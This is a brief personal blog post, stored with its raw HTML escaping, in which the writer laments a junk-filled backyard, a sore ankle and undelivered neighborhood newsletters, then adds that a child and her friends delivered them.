Why do I do these things to myself!?!?<\/p>\n<p>This weekend I find:<\/p>\n<p>1) The backyard is still full of junk I threw out of the shed. Shed is empty; backyard is full of junk. I am unmotivated to do anything about this; perhaps squirrels will do it for me.<\/p>\n<p>2) Twisted my ankle on the bike ride, and a week later, it still hurts, especially when I think about walking around the neighborhood with newsletters.<\/p>\n<p>3) Have not delivered said newsletters. I now find myself in that deeply introverted mood in which my\u00c2\u00a0 horror of going up to strangers&#8217; houses is only slightly less than my horror of running into people I actually know.<\/p>\n<p>Again, perhaps I could employ squirrels&#8230;?<\/p>\n<p>(sigh)<\/p>\n<p>ETA: Indeed! Squirrels in the form of lil e and her two lil pals.\u00c2\u00a0 They did the whole neighborhood in 3 minutes flat. Love that kid.
